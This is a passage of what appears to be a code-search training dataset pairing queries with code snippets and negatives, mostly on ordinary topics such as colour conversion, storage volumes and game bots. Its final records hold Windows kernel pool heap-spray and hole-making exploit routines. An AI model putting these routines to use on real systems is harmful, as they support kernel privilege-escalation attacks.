query stringlengths 9 9.05k | document stringlengths 10 222k | negatives listlengths 19 20 | metadata dict |
|---|---|---|---|
lambda function handler for getting trash day | def lambda_handler(event, context) -> dict:
logging.info('Starting function with context=%s and event=%s', context, event)
date = event['date']
holiday_schedule = trash_schedule_service.get_schedule()
trash_day = trash.next_trash_day(date, holiday_schedule)
logging.info('Completed function with res... | [
"def lambda_handler(event, context):\n logging.info('Starting function with context=%s and event=%s', context, event)\n holiday_schedule = trash.holidayschedule()\n old_holiday_schedule = trash_service.list()['data']\n old_holidays = [old_holiday['name'] for old_holiday in old_holiday_schedule]\n log... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Convert an image from LAB color space to XYZ color space | def lab_to_xyz(image: tf.Tensor) -> tf.Tensor:
l, a, b = tf.unstack(image, axis=-1)
var_y = (l + 16) / 116
var_x = a / 500 + var_y
var_z = var_y - b / 200
var_x = tf.where(tf.pow(var_x, 3) > 0.008856, tf.pow(var_x, 3),
(var_x - 16 / 116) / 7.787)
var_y = tf.where(tf.pow(var... | [
"def convertRGBtoXYZ(image):\n image_XYZ = cv2.cvtColor(image, cv2.COLOR_BGR2XYZ)\n return image_XYZ",
"def Lab_to_XYZ(cobj, *args, **kwargs):\r\n\r\n illum = cobj.get_illuminant_xyz()\r\n xyz_y = (cobj.lab_l + 16.0) / 116.0\r\n xyz_x = cobj.lab_a / 500.0 + xyz_y\r\n xyz_z = xyz_y - cobj.lab_b /... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Convert an image from XYZ color space to RGB color space | def xyz_to_rgb(image: tf.Tensor) -> tf.Tensor:
x, y, z = tf.unstack(image, axis=-1)
var_x = x / 100
var_y = y / 100
var_z = z / 100
var_r = var_x * 3.2406 + var_y * -1.5372 + var_z * -0.4986
var_g = var_x * -0.9689 + var_y * 1.8758 + var_z * 0.0415
var_b = var_x * 0.0557 + var_y * -0.2040 +... | [
"def convertRGBtoXYZ(image):\n image_XYZ = cv2.cvtColor(image, cv2.COLOR_BGR2XYZ)\n return image_XYZ",
"def xyz2rgb(xyz, axis=-1):\n return convert(rgb_from_xyz, xyz, axis)",
"def XYZ2RGB(X, Y, Z):\r\n \r\n #sRGB D65 Matrix\r\n T_MATRIX = np.matrix( [[3.240970, -1.537383, -0.498611],\r\n ... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Convert an image from RGB color space to XYZ color space | def rgb_to_xyz(image: tf.Tensor) -> tf.Tensor:
r, g, b = tf.unstack(image, axis=-1)
var_r = r / 255
var_g = g / 255
var_b = b / 255
var_r = tf.where(var_r > 0.04045, tf.pow((var_r + 0.055) / 1.055, 2.4),
var_r / 12.92)
var_g = tf.where(var_g > 0.04045, tf.pow((var_g + 0.055... | [
"def convertRGBtoXYZ(image):\n image_XYZ = cv2.cvtColor(image, cv2.COLOR_BGR2XYZ)\n return image_XYZ",
"def rgb2xyz(rgb, axis=-1):\n return convert(xyz_from_rgb, rgb, axis)",
"def rgb2xyz(rgb):\n # Follow the algorithm from http://www.easyrgb.com/index.php\n # except we don't multiply/divide by 1... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Convert an image from RGB color space to LAB color space RGB > XYZ > LAB | def rgb_to_lab(image: tf.Tensor) -> tf.Tensor:
xyz = rgb_to_xyz(image)
lab_image = xyz_to_lab(xyz)
return lab_image | [
"def to_lab(img):\n return cv2.cvtColor(img, cv2.COLOR_RGB2LAB )",
"def rgb2lab(input_image):\n xyz = np.zeros(input_image.shape)\n\n input_image = np.where(\n input_image > 0.04045,\n ((input_image + 0.055) / 1.055) ** 2.4,\n input_image / 12.92)\n\n input_image = in... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Convert an image from LAB color space to RGB color space LAB > XYZ > RGB | def lab_to_rgb(image: tf.Tensor) -> tf.Tensor:
xyz = lab_to_xyz(image)
rgb_image = xyz_to_rgb(xyz)
return rgb_image | [
"def lab_to_rgb(img):\n new_img = np.zeros((256,256,3))\n for i in range(len(img)):\n for j in range(len(img[i])):\n pix = img[i,j]\n new_img[i,j] = [(pix[0] + 1) * 50,(pix[1] +1) / 2 * 255 - 128,(pix[2] +1) / 2 * 255 - 128]\n new_img = color.lab2rgb(new_img) * 255\n new_img... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Checks if the given character is a letter. | def is_letter(c):
return 'A' <= c <= 'Z' or 'a' <= c <= 'z' | [
"def is_letter(uni_char):\n category = Category.get(uni_char)\n return (category == Category.UPPERCASE_LETTER or\n category == Category.LOWERCASE_LETTER or\n category == Category.TITLECASE_LETTER or\n category == Category.MODIFIER_LETTER or\n category == Category.OT... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Checks if the given nametag is valid, that it only contains letters, numbers, dashes, underscores and apostrophes. It must also start with the given tags in `Tags.py `. And returns the nametag if it is valid. | def get_nametag(nametag):
# start must be valid
if not nametag.startswith(Tags.NAMETAG_START.value):
return None
# removes the start of the tag
nametag = nametag[len(Tags.NAMETAG_START.value):]
# end must be valid
if not nametag.endswith(Tags.NAMETAG_END.value):
return None
... | [
"def isValidTagName(s):\n if s.lower().startswith(\"xml\"):\n return False\n return re.match(\"[^\\W\\d][\\w\\-_.]*\", s)",
"def validate_name(name, reserved_names=()):",
"def check_tag_name(self):\n tag_name_list = self.tag_names_line_edit.text().strip().split(\";\")\n unrecognized_t... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Checks whether the given nametag is reachable by another branch or not. This means that the given nametag must appear in at least one branch as an end tag. | def is_nametag_reachable(nametag, branches):
for branch in branches:
for next_nametag in branches[branch].next_nametags:
if next_nametag == nametag:
return True
return False | [
"def branch_exists(nametag, branches):\n for branch in branches:\n if branches[branch].name == nametag:\n return True\n return False",
"def valid_branches(branches):\n\n # for every branch in the list\n for branch in branches:\n\n # make sure it is either reachable or has the ... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Checks whether the given nametag is indeed labelling a branch. | def branch_exists(nametag, branches):
for branch in branches:
if branches[branch].name == nametag:
return True
return False | [
"def is_nametag_reachable(nametag, branches):\n for branch in branches:\n for next_nametag in branches[branch].next_nametags:\n if next_nametag == nametag:\n return True\n return False",
"def _is_branch(self, reference_name):\n return reference_name.startswith(\"refs/... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Checks that the given branches are valid (every single branch is supposed valid). The idea here is to make sure that every ending nametag leads to another branch and that every branch is reachable. | def valid_branches(branches):
# for every branch in the list
for branch in branches:
# make sure it is either reachable or has the special tag "start"
if branches[branch].name != "start" and not is_nametag_reachable(branches[branch].name, branches):
return False
# make sur... | [
"def check_branch_name(self, branch_name):\n for bad_pattern in self.configs.BAD_BRANCH_NAME_PATTERNS:\n if bad_pattern in branch_name:\n error_msg = '\\n'.join([\n f'Branch name \"{branch_name}\" contains invalid pattern \"{bad_pattern}\".',\n ... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Small helper for writing to stdout and flushing it, intended to make terminal output more compact and responsive. | def stdout(msg):
sys.stdout.write(msg)
sys.stdout.flush() | [
"def write_flush(msg):\n sys.stdout.write(msg)\n sys.stdout.flush()",
"def sys_write_flush(s):\n sys.stdout.write(s)\n sys.stdout.flush()",
"def print_flush(*args):\n print(*args, end=\"\")\n sys.stdout.flush()",
"def print_flush(*args):\r\n\tprint(*args, end=\"\")\r\n\tsys.stdout.flush()",
... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Fetches the soundcloud.com main page, looks for the 'app' js file and tries to pull a client_id out of that. Returns None on failure or a string client_id on success. | def find_client_id():
stdout("Attempting to fetch a public soundcloud client ID:\n")
stdout(" * Fetching main page... ")
response = requests.get("http://www.soundcloud.com")
stdout("HTTP %d, %d bytes\n" % (response.status_code, len(response.content)))
stdout(" * Locating app.js... ")
app_js_url... | [
"def getAppId(server, appName):\n JSONdata = urllib2.urlopen(server+\"/api/app?short_name=\"+appName)\n data = json.load(JSONdata)\n appId = data[0]['id']\n return appId",
"def _generate_client_id():\n\n # USES HEADLESS SELENIUM INSTANCE FOR GENERATING A CLIENT_ID\n print('[*] Fetching client_id... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
return a new series which the mean is 0 and variance is 1 | def SeriesStandard(series):
mean = np.mean(series)
variance = np.var(series)
series = (series-mean)/variance
return series | [
"def var(self) -> \"Stream[float]\":\n return self.agg(lambda x: np.var(x, ddof=1)).astype(\"float\")",
"def variance(self):\n return 1 / self.count() * sum((number-self.average())**2 for number in self.numbers)",
"def mean(vals):",
"def sample_mean_var_ml(x):\n n = len(x)\n assert(n > 0)\... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Switch with mv_all, was inversed with mv_step. | def mv_step(self):
# def mv_all(self):
self.device_reg_data &= ~(0x1 << 3)
bus.write_byte_data(self.device_address, self.device_reg_mode1, self.device_reg_data) | [
"def step(self, state):",
"def step(self):\n while self.state != STATE_TERMINAL:\n self.step_strategies[self.state]()",
"def moveSpecialOb(self):\n\t\tfor obJ in self.special:\n\t\t\tobJ.moveStep()",
"def step(self):\n states = self.states.copy()\n for rule in self.rules:\n ... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
return the specific pkt statistic (int) of the given address (str) and name of stat (str) | def get_stat(address, stat):
base_url = 'https://pkt.cash/api/v1/PKT/pkt/address/'
request_url = base_url + address
addrStats = url_to_dict(request_url)
return int(addrStats[stat]) | [
"def get_stat(self, name: str) -> int:\n return self._mallctl(f\"stats.{name}\")",
"def getstat(data, name):\r\n header, stats = data \r\n position = header.index(name)\r\n\r\n return [line[position]for line in stats]",
"def get_network_stats():\n path = '/sys/class/net/eth0/statistics/'\n ... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Convenience method that round input to valid ScaleIO Volume size (8GB increments) | def is_valid_volsize(self,volsize):
if type(volsize) is int:
size_temp = divmod(volsize, 8192)
if size_temp[1] > 0: # If not on 8GB boundary
return int((1 + size_temp[0]) * 8192) # Always round to next 8GB increment
else:
return int(volsize) | [
"def round_size(size, base=2):\n return round(int(size), -base)",
"def round_volume(volume, ndigits):\n return ul(round(volume.to('microliter').magnitude,ndigits))",
"def __convert_size(self, size):\n byte_size = 0\n try:\n if not size:\n self.logger.error(\"No ... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
removeMode = 'ONLY_ME' | 'INCLUDING_DESCENDANTS' | 'DESCENDANTS_ONLY' | 'WHOLE_VTREE' Using kwargs it will be possible to tell delete_volume() to unmap all SDCs before delting. Not working yet | def delete_volume(self, volObj, removeMode='ONLY_ME', **kwargs):
if kwargs:
for key, value in kwargs.iteritems():
if key =='autoUnmap' and value ==True:
# Find all mapped SDS to this volObj
# Call unmap for all of them
if se... | [
"def remove_volume(cmd):\n exaconf = read_exaconf(cmd.exaconf)\n exaconf.remove_volume(cmd.name, cmd.force)",
"def test_v1alpha3vm_removevolume(self):\n pass",
"def test_v1alpha3vmi_removevolume(self):\n pass",
"def test_v1vmi_removevolume(self):\n pass",
"def volume_delete(volume... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Get ScaleIO Volume object by its ID | def get_volume_by_id(self, id):
for vol in self.conn.volumes:
if vol.id == id:
return vol
raise KeyError("Volume with ID " + id + " not found") | [
"def get_volume_from_id(item_id):\n return volumes[\"data\"][str(item_id)]",
"def get_volume(volume_id):\n volume_class = Volume\n if FLAGS.fake_storage:\n volume_class = FakeVolume\n if datastore.Redis.instance().sismember('volumes', volume_id):\n return volume_class(volume_id=volume_id... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Get ScaleIO Volume object by its Name | def get_volume_by_name(self, name):
for vol in self.conn.volumes:
if vol.name == name:
return vol
raise KeyError("Volume with NAME " + name + " not found") | [
"def get_volume_from_name(item_name):\n item_id = get_id_from_name(item_name)\n return get_volume_from_id(item_id)",
"def get_volume(volume_id):\n volume_class = Volume\n if FLAGS.fake_storage:\n volume_class = FakeVolume\n if datastore.Redis.instance().sismember('volumes', volume_id):\n ... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Get list of SDC mapped to a specific volume | def get_sdc_for_volume(self, volObj):
sdcList = []
if volObj.mapped_sdcs is not None:
for sdc in volObj.mapped_sdcs:
sdcList.append(sdc)
if len(sdcList) == 0:
self.conn.logger.debug("No SDCs mapped to volume: %s-(%s)" % (volObj.name, volObj.id))
... | [
"def get_device_map():\n ret = []\n vlist = subprocess.check_output(['ceph-volume', 'lvm', 'list',\n '--format=json'])\n for osd_id, data in json.loads(vlist.decode('utf8')).items():\n osd_id = normalize_osd_id(osd_id)\n for elem in data:\n for d... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Verifies the password and verify password matches. | def verify_match(password, verify):
return password == verify | [
"def test_checkPasswordMatches(self):\n return self.compareCheckPassword(keyPassword=\"password\",\n password=\"password\")",
"def test_is_password_matching(self):\n\n password = \"8wpyathgors\"\n hashed_password = bcrypt.hashpw(password.encode(\"utf-8\... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Fallback attribute getter. It enables to get access to the attribute and methods of the lowlevel Simulator directly, without having to do it through `simulator`. | def __getattr__(self, name: str) -> Any:
return getattr(self.__getattribute__('simulator'), name) | [
"def __getattribute__(self, attr_name):\n # Almost every attribute retrieved from us will be fore people actually\n # looking for an attribute of the hardware API, so check there first.\n if attr_name == 'discover_modules':\n return object.__getattribute__(self, attr_name)\n\n ... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Configure the action space of the environment. The action is a vector gathering the torques of the actuator of the robot. | def _initialize_action_space(self) -> None:
# Get effort limit
command_limit = self.robot.command_limit
# Replace inf bounds of the effort limit if requested
if self.enforce_bounded_spaces:
for motor_name in self.robot.motors_names:
motor = self.robot.get_mot... | [
"def set_up_continuous_action_space(self):\n self.action_space = gym.spaces.Box(shape=(self.action_dim,),\n low=-1.0,\n high=1.0,\n dtype=np.float32)\n self.action_high = self.... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Returns a neutral valid configuration for the robot. The default implementation returns the neutral configuration if valid, the "mean" configuration otherwise (right in the middle of the position lower and upper bounds). | def _neutral(self) -> np.ndarray:
# Get the neutral configuration of the actual model
qpos = neutral(self.robot.pinocchio_model)
# Make sure it is not out-of-bounds
position_limit_lower = self.robot.position_limit_lower
position_limit_upper = self.robot.position_limit_upper
... | [
"def __defaultconf__():\n cnp_conf = {'input_dim': 512, 'control_dim': 32, 'output_dim': 512, 'spatial_dim': 512, 'temporal_dim': 512, 'temporal_n_layers': 6, 'temporal_n_heads': 8, 'temporal_d_k': 64, 'temporal_d_v': 64, 'temporal_hidden_dim': 2048, 'decoder_dim': 512, 'decoder_n_layers': 6, 'decoder_n_head... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Initialize internal buffers for fast access to shared memory or to avoid redundant computations. | def _initialize_buffers(self) -> None: | [
"def _reset_buffer(self):\n self._host_buf, self._device_buf = None, None\n self._host_tensor, self._device_tensor = None, None\n self._host_opt, self._device_opt = None, None",
"def setup_buffer(width, height):\n global _buffer_width, _buffer_height, _buf\n\n _buffer_width = width\n ... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Refresh internal buffers that must be updated manually. | def _refresh_buffers(self) -> None: | [
"def _refresh(self):\n for api in self.api_queue:\n api.update()",
"def update(self):\n # pull all available chunks\n c, t = self.inlet.pull_chunk(timeout=0.0)\n new_c = []\n new_t = []\n while c:\n new_c += c\n new_t += t\n c, ... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Compute the observation based on the current state of the robot. In practice, it updates the internal buffer directly for the sake of efficiency. By default, it sets the observation to the value of the measurement, which would not work unless `ObsT` corresponds to `EngineObsType`. | def refresh_observation(self, measurement: EngineObsType) -> None:
observation = self.observation
observation["t"][()] = measurement["t"]
_array_copyto(observation['states']['agent']['q'],
measurement['states']['agent']['q'])
_array_copyto(observation['states']['age... | [
"def compute_observation(self):\n robotPos, robotOrn = p.getBasePositionAndOrientation(self.botId)\n robotEuler = p.getEulerFromQuaternion(robotOrn)\n linear, angular = p.getBaseVelocity(self.botId)\n return (np.array([robotEuler[0],angular[0],self.vt], dtype='float32'))",
"def Receive... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Main entyr point into the program. Checks that everytyhing is in order, and then creates the tar file to deploy. None. None. None. None. | def main():
print "Starting tar-maker script.."
# String of files we're going to be looking for
files="runlocaltests.py testprocess.py verifyfiles.mix cleanup_deploy.py hashes.dict upgrade_nodes.sh deploy_helper.py"
# TODO: add list of 'optional files' to include
# get the files passed in as arguments
fi... | [
"def main():\r\n try:\r\n # Import the deploy template, as we must access its servers\r\n # list to search for python files to bundle for deployment.\r\n deploy_template = sys.argv[1]\r\n assert os.path.isfile(deploy_template), \\\r\n \"deployment template {0} is not a file\".format(deploy_templ... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
단방향 데이터가 있는 file_path을 argument로 주면 가공을 한 이후에 output_dir 아래에 2개의 파일(seq.in, label)을 저장해 주는 함수. output_dir의 경우 만약 존재하지 않는다면 | def process_file(file_path, output_dir):
if not os.path.isdir(output_dir):
os.mkdir(output_dir)
data = open(file_path).read().splitlines()
# line별로 process를 해준 뒤,
processed_data = [process_line(line, tokenizer) for line in data]
intentions = list(map(lambda x: x[0], processed_data))
t... | [
"def run(self, input_path, output_path):",
"def set_output_path(self, path):\n self.output_file_path = path",
"def output_file_path(self, value):\n self.__output_file_path = value",
"def path(self, path: str):\n path = Path(path)\n self.in_path = path / 'inputs'\n self.out_p... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Methods decorated with notify_wrap make a copy of the list before the operation, then notify observers of the change after. The list itself, the old list, and the new list are sent as arguments. | def notify_wrap(self, func, *args, **kw):
val = func(self, *args,**kw)
if not self._observable_frozen:
self.notify('list', None, self)
return val | [
"def update_list(self, *args, **kwargs):\r\n raise MethodNotImplemented()",
"def update_cloud_watch_obj_list(old_list, new_list):\n\n # Add new.\n for new_item in new_list:\n if new_item not in old_list:\n new_item.added = True\n old_list.append(new_it... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Return corresponding command for a word | def _word_to_command(word):
for command in KEYWORDS:
for w in KEYWORDS[command]:
if w == word:
return command | [
"def command(text: str):\n command, remainder = prefix(text)\n return(command.lower(), remainder)",
"def get_action(command):\n return command.split(\" \")[0]",
"def getExactCommandByName(self, name):\n try:\n return self.commands[name.lower()]\n except:\n return Non... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Returns time in seconds, assumes the game is played on 'faster' | def time(self) -> float:
return self.state.game_loop / 22.4 # / (1/1.4) * (1/16) | [
"def speedtime():\n return SPEEDUP*original_time.time()",
"def game_time(self, start_time):\n if self.sudoku_is_solved() == True:\n return time.clock()-start_time",
"def time_elapsed():\n return round((time() - time_start) / 60, +1)",
"def opponentscaredTime(self, gameState):\n ... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Possible start locations for enemies. | def enemy_start_locations(self) -> List[Point2]:
return self._game_info.start_locations | [
"def enemy_start_locations(self) -> List[Point2]:\n return self.game_info.start_locations",
"def enemy_start_location(self) -> Point2:\n pass",
"def enemy_start_location_found(self) -> bool:\n pass",
"def enemy_start_zones(self) -> List[Zone]:\n pass",
"def attack_start_location(... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Returns available abilities of one or more units. Right now only checks cooldown, energy cost, and whether the ability has been researched. | async def get_available_abilities(
self, units: Union[List[Unit], Units], ignore_resource_requirements: bool = False
) -> List[List[AbilityId]]:
return await self._client.query_available_abilities(units, ignore_resource_requirements) | [
"async def get_available_abilities(\n self, units: Union[List[Unit], Units], ignore_resource_requirements: bool = False\n ) -> List[List[AbilityId]]:\n return await self.client.query_available_abilities(units, ignore_resource_requirements)",
"def facilities(self):\n return self.inventory.f... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Override this in your bot class. This function is called when a unit is created. | async def on_unit_created(self, unit: Unit): | [
"def __init__(self, *args):\n this = _libsbml.new_UnitDefinition(*args)\n try: self.this.append(this)\n except: self.this = this",
"def run_units(self):\n pass",
"def createUnit(self):\n return _libsbml.Model_createUnit(self)",
"def createUnit(self):\n return _libsbml... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Override this in your bot class. This function is called when a building construction has started. | async def on_building_construction_started(self, unit: Unit): | [
"async def on_building_construction_complete(self, unit: Unit):",
"def pre_build(self):\n pass",
"def buildStarted(builderName, build):",
"def post_build(self):\n pass",
"def __init__(self, client):\n super(Buildings, self).__init__(client)",
"def start_build(self, build_id):\n ... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Override this in your bot class. This function is called when a building construction is completed. | async def on_building_construction_complete(self, unit: Unit): | [
"async def on_building_construction_started(self, unit: Unit):",
"def post_build(self):\n pass",
"def buildStarted(builderName, build):",
"def pre_build(self):\n pass",
"def __init__(self, client):\n super(Buildings, self).__init__(client)",
"def _ready(self):\n self.controlado... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Override this in your bot class. This function is called with the upgrade id of an upgrade that was not finished last step and is now. | async def on_upgrade_complete(self, upgrade: UpgradeId): | [
"def _do_upgrade(self, step):\n request = self.layer['request']\n request.form['profile_id'] = self.profile_id\n request.form['upgrades'] = [step['id']]\n self.setup.manage_doUpgrades(request=request)",
"def test_01_send_followup_later_for_upgrade(self):\n result = self.current_... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Draw number cards on the specified reportlab canvas | def draw_numbercards(c, n, ncol, nrow, prefix='', suffix='',
pagesize=pagesizes.A4,
orientation=pagesizes.landscape,
margin=(8.4*mm, 8.4*mm),
font_family='Arimo-Regular',
font_size=20,
face_colo... | [
"def draw_number(self, canvas, style):\n sand_color = style.get_color(\"sand\")\n # Get position of center of tile\n pos_x = (self.vertices[0]+self.vertices[6])/2\n pos_y = (self.vertices[1]+self.vertices[7])/2\n # Draw number disk based on text size\n r = style.txt_size*4/... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
The parameter weekday is True if it is a weekday, and the parameter vacation is True if we are on vacation. We sleep in if it is not a weekday or we're on vacation. Return True if we sleep in. | def sleep_in(weekday, vacation):
if not weekday or vacation:
return True
else:
return False | [
"def sleep_in(weekday, vacation):\r\n if not weekday or vacation:\r\n return True\r\n return False",
"def sleep_in(weekday, vacation):\n if not weekday or vacation:\n return True\n else:\n return False",
"def sleep_in(weekday, vacation):\n return (not weekday) or vacation",
"def busine... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Given two int values, return their sum. Unless the two values are the same, then return double their sum. | def sum_double(a, b):
return a+b if a!=b else 2*(a+b) | [
"def sum_double(a, b):\n if a == b:\n return 2*(a+b)\n else:\n return a+b",
"def sum_double(a, b):\n if a == b:\n return (a+b)*2\n else:\n return a+b",
"def calcSum(a=0, b=0):\r\n\treturn a+b",
"def get_sum(x, y):\n return x + y",
"def sum(x, y):\n assert isinstance(x, (int... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Given an int n, return the absolute difference between n and 21, except return double the absolute difference if n is over 21. | def diff21(n):
return 2*(n-21) if n>21 else 21-n | [
"def diff21(n):\r\n if n > 21:\r\n return abs((21 - n) * 2)\r\n return abs(21 - n)",
"def diff21(n):\n if n <= 21:\n return 21 - n\n else:\n return (n - 21)*2",
"def absolute_difference(n1,n2):\n \n return abs(n1-n2)",
"def find_difference(n):\n sum_of_squares = (n*(n+1)*(2*n+1))... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
We have a loud talking parrot. The "hour" parameter is the current hour time in the range 0..23. We are in trouble if the parrot is talking and the hour is before 7 or after 20. Return True if we are in trouble. | def parrot_trouble(talking, hour):
return talking and hour not in range(7,21) | [
"def parrot_trouble(talking, hour):\n if talking and (hour < 7 or hour > 20):\n return True\n else:\n return False",
"def parrot_trouble(talking, hour):\r\n if(talking and (hour < 7 or hour > 20)):\r\n return True\r\n return False",
"def parrot_trouble(talking, hour):\n if talk... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Given 2 ints, a and b, return True if one if them is 10 or if their sum is 10. | def makes10(a,b):
return a==10 or b==10 or a+b==10 | [
"def makes10(a: int, b: int) -> bool:\n return (a + b == 10 or a == 10 or b == 10)",
"def makes10(a, b):\n if a == 10: \n return True\n elif b == 10: \n return True \n elif a + b == 10: \n return True\n else: \n return False",
"def trivial(a, b):\n if a % 10 and b %... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Given a string, return a new string where "not " has been added to the front. However, if the string already begins with "not", return the string unchanged. | def not_string(str):
if len(str)>=3 and str[:3]=='not':
return str
else:
return "not" + str | [
"def parse_word_not(text):\n return text.strip() == 'not'",
"def remove_if_starts_with(haystack, needle):\n assert isinstance(haystack, str)\n assert isinstance(needle, str)\n if haystack.startswith(needle):\n haystack = haystack[len(needle):]\n return haystack",
"def replace_invalid_prefi... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Given a nonempty string and an int n, return a new string where the char at index n has been removed. The value of n will be a valid index of a char in the original string. | def missing_char(str, n):
if n<=len(str):
str = str.replace(str[n], "")
return str | [
"def remove_char_at(str, n):\n\n count = 0\n result = \"\"\n\n while len(str) != count:\n if count != n:\n result += str[count]\n\n count += 1\n\n return result",
"def str_remove(string: str, index: int) -> str: # _3 [✅]\n if len(string) == 0:\n raise ValueError # pu... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Given a string, we'll say that the front is the first 3 chars of the string. If the string length is less than 3, the front is whatever is there. Return a new string which is 3 copies of the front. | def front3(str):
if len(str)<4:
return 3*str
else:
return 3*str[:3] | [
"def filter_min_length(self, string):\n newstring = string\n length = len(newstring)\n min_length = 3\n num_to_add = min_length - length\n while num_to_add > 0:\n newstring = newstring + \"x\"\n num_to_add = num_to_add - 1\n\n return newstring",
"def... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Spray the heap with objects which will allow us to create the required holes later | def spray(required_hole_size):
global pool_object_handles
good_object = find_object_to_spray(required_hole_size)
for i in range(SPRAY_COUNT):
pool_object_handles.append(allocate_object(good_object, i))
print "[+] Spray done!"
return good_object | [
"def spill_objects(self, object_refs):",
"def big_binary_heap_object():\n from binary_heap import BinaryHeap\n obj = BinaryHeap()\n for x in range(1, 9):\n obj.push(x)\n return obj",
"def gimme_the_hole(required_hole_size):\n\tgood_object = spray(required_hole_size)\n\tmake_hole(required_hole... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Making holes in the sprayd kernel | def make_hole(required_hole_size, good_object):
global pool_object_handles
nr_to_free = required_hole_size / kernel_object_sizes[good_object]
for i in range(0, SPRAY_COUNT,16):
for j in range(0,nr_to_free):
kernel32.CloseHandle(pool_object_handles[i + j])
pool_object_handles[i + j] = None
print "[+] Making ... | [
"def create_hole(self):\n self.is_active = False\n self.fish = 0",
"def setHolesCoordinates(self):\r\n # productive\r\n profprint()\r\n self.p = [[0 for j in range(63)] for j in range(3)]\r\n self.p[0][0] = 35\r\n self.p[1][0] = 34\r\n self.p[0][1] = 25\r\n self.p[1][1] = 36.679... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Spray and make holes | def gimme_the_hole(required_hole_size):
good_object = spray(required_hole_size)
make_hole(required_hole_size, good_object)
return good_object | [
